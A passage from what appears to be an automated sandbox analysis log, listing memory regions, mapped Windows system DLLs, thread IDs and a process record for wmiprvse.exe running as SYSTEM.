"\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3562 start_va = 0x7fefd3e0000 end_va = 0x7fefd3eefff entry_point = 0x7fefd3e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3563 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3564 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3565 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3566 start_va = 0x7fefd5a0000 end_va = 0x7fefd706fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3567 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3568 start_va = 0x7fefd920000 end_va = 0x7fefd96cfff entry_point = 0x7fefd920000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3569 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3570 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3571 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3572 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3573 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3574 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3575 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3576 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3577 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3578 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3579 start_va = 0x7fefe380000 end_va = 0x7fefe387fff entry_point = 0x7fefe380000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3580 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3581 start_va = 0x7fefe590000 end_va = 0x7fefe628fff entry_point = 0x7fefe590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3582 start_va = 0x7fefe890000 end_va = 0x7fefe8e1fff entry_point = 0x7fefe890000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3583 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3584 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3585 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3586 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3587 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3588 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3589 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3590 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3591 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3592 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 200 os_tid = 0x894 Thread: id = 201 os_tid = 0x890 Thread: id = 202 os_tid = 0x88c Thread: id = 203 os_tid = 0x888 Thread: id = 204 os_tid = 0x884 Thread: id = 205 os_tid = 0x880 Thread: id = 206 os_tid = 0x87c Thread: id = 219 os_tid = 0x680 Process: id = "25" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x777e8000" os_pid = "0x7b8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x334" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abc4" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3611 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3612 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3613 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3614 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3615 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3616 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3617 start_va = 0x140000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3618 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3619 start_va = 0x250000 end_va = 0x256fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 3620 start_va = 0x260000 end_va = 0x261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 3621 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3622 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3623 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3624 start_va = 0x390000 end_va = 0x44ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 3625 start_va = 0x450000 end_va = 0x450fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3626 start_va = 0x470000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3627 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3628 start_va = 0x510000 end_va = 0x697fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3629 start_va = 0x6a0000 end_va = 0x820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 3630 start_va = 0x830000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 3631 start_va = 0x930000 end_va = 0xbfefff entry_point = 0x930000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3632 start_va = 0xc00000 end_va = 0xff2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 3633 start_va = 0x1060000 end_va = 0x10dffff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 3634 start_va = 0x10e0000 end_va = 0x115ffff entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 3635 start_va = 0x1270000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 3636 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 3637 start_va = 0x1420000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 3638 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 3639 start_va = 0x1610000 end_va = 0x168ffff entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 3640 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3641 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3642 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3643 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3644 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3645 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3646 start_va = 0xff220000 end_va = 0xff27efff entry_point = 0xff220000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 3647 start_va = 0x7fef9600000 end_va = 0x7fef9615fff entry_point = 0x7fef9600000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 3648 start_va = 0x7fef9760000 end_va = 0x7fef9785fff entry_point = 0x7fef9760000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3649 start_va = 0x7fef9900000 end_va = 0x7fef9913fff entry_point = 0x7fef9900000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3650 start_va = 0x7fef9be0000 end_va = 0x7fef9beefff entry_point = 0x7fef9be0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3651 start_va = 0x7fef9bf0000 end_va = 0x7fef9c16fff entry_point = 0x7fef9bf0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3652 start_va = 0x7fef9c20000 end_va = 0x7fef9d01fff entry_point = 0x7fef9c20000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3653 start_va = 0x7fef9e90000 end_va = 0x7fef9f15fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3654 start_va = 0x7fefa9e0000 end_va = 0x7fefaa1bfff entry_point = 0x7fefa9e0000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 3655 start_va = 0x7fefb2b0000 end_va = 0x7fefb2dcfff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3656 start_va = 0x7fefc930000 end_va = 0x7fefc976fff entry_point = 0x7fefc930000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3657 start_va = 0x7fefcc30000 end_va = 0x7fefcc46fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3658 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3659 start_va = 0x7fefd320000 end_va = 0x7fefd333fff entry_point = 0x7fefd320000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3660 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3661 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3662 start_va = 0x7fefd920000 end_va = 0x7fefd96cfff entry_point = 0x7fefd920000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3663 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3664 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3665 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3666 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3667 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3668 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3669 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3670 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3671 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3672 start_va = 0x7fefe380000 end_va = 0x7fefe387fff entry_point = 0x7fefe380000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3673 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3674 start_va = 0x7fefe590000 end_va = 0x7fefe628fff entry_point = 0x7fefe590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3675 start_va = 0x7fefe890000 end_va = 0x7fefe8e1fff entry_point = 0x7fefe890000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3676 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3677 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3678 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3679 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3680 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3681 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3682 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3683 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3684 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3685 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3686 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 207 os_tid = 0x990 Thread: id = 208 os_tid = 0x7e8 Thread: id = 209 os_tid = 0x7e4 Thread: id = 210 os_tid = 0x7e0 Thread: id = 211 os_tid = 0x7dc Thread: id = 212 os_tid = 0x7d4 Thread: id = 213 os_tid = 0x7d0 Thread: id = 214 os_tid = 0x7bc Thread: id = 218 os_tid = 0x97c